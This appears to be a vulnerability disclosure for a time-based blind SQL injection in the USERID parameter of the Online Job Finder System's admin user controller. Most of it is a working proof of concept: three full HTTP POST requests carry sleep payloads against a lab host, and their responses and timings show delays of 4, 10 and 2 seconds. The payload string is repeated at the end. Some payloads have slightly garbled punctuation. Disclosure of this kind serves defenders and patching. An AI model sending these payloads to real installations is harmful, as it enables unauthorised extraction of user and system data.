

SQL injection vulnerability exists in UESRID parameter of /admin/user/controller.php file of Online Job Finder System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

**Request**

```
1 POST /eris/admin/user/controller.php?action=edit&view= HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/eris/admin/
5 Cookie: PHPSESSID=feg0v5pu505fboaa92vrcqusc4
6 Content-Length: 134
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0
  Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 USERID=if(now())=sysdate()%(2Csleep(4))%2C0)&U_NAME=Campcodes&
  U_PASS=U]H[ww6KIA9F.x-F&U_ROLE=Staff&U_USERNAME=admin&deptid=
  GoaCDtTd&save=
```

**Response**

```
1 HTTP/1.1 200 OK
2 Date: Mon, 18 Mar 2024 10:30:13 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Keep-Alive: timeout=5, max=100
9 Connection: Keep-Alive
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 136
12
13 <script>
14   window.location='/eris/admin/index.php'
15 </script><script>
16   window.location='index.php?view=view'
17 </script>
```

Done 507 bytes | 4,010 millis

Sleep time is 10s:

**Request**

```
1 POST /eris/admin/user/controller.php?action=edit&view= HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/eris/admin/
5 Cookie: PHPSESSID=feg0v5pu505fboaa92vrcqusc4
6 Content-Length: 135
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0
  Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 USERID=if(now())=sysdate()%(2Csleep(10))%2C0)&U_NAME=Campcodes&
  U_PASS=U]H[ww6KIA9F.x-F&U_ROLE=Staff&U_USERNAME=admin&deptid=
  GoaCDtTd&save=
```

**Response**

```
1 HTTP/1.1 200 OK
2 Date: Mon, 18 Mar 2024 10:30:44 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Keep-Alive: timeout=5, max=100
9 Connection: Keep-Alive
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 136
12
13 <script>
14   window.location='/eris/admin/index.php'
15 </script><script>
16   window.location='index.php?view=view'
17 </script>
```

Done 507 bytes | 11,035 millis

Sleep time is 2s:

Target: http://192.168.31.163 HTTP/1

**Request**

1 POST /eris/admin/user/controller.php?action=edit&view= HTTP/1.1  
2 Content-Type: application/x-www-form-urlencoded  
3 X-Requested-With: XMLHttpRequest  
4 Referer: http://192.168.31.163/eris/admin/  
5 Cookie: PHPSESSID=feg0v5pu505fboaa92vrcqus4  
6 Content-Length: 134  
7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
8 Accept-Encoding: gzip,deflate,br  
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36  
10 Host: 192.168.31.163  
11 Connection: Keep-alive  
12  
13 **USERID=if(now())=sysdate())%2Csleep(2)%2C0)&U\_NAME=Campcodes&U\_PASS=U]H[ww6KtA9F.x-F&U\_ROLE=Staff&U\_USERNAME=admin&deptid=GoaCDtD&save=**

**Response**

1 HTTP/1.1 200 OK  
2 Date: Mon, 18 Mar 2024 10:31:36 GMT  
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod\_fcgid/2.3.9a  
4 X-Powered-By: PHP/7.3.4  
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT  
6 Cache-Control: no-store, no-cache, must-revalidate  
7 Pragma: no-cache  
8 Keep-Alive: timeout=5, max=100  
9 Connection: Keep-Alive  
10 Content-Type: text/html; charset=UTF-8  
11 Content-Length: 136  
12  
13 <script>  
14 window.location='/eris/admin/index.php'  
15 </script><script>  
16 window.location='index.php?view=view'  
17 </script>

Done 507 bytes | 3,044 millis

Payload:USERID=if(now())=sysdate())%2Csleep(2)%2C0)

Source Download:

<https://www.campcodes.com/projects/php/online-job-finder-system/>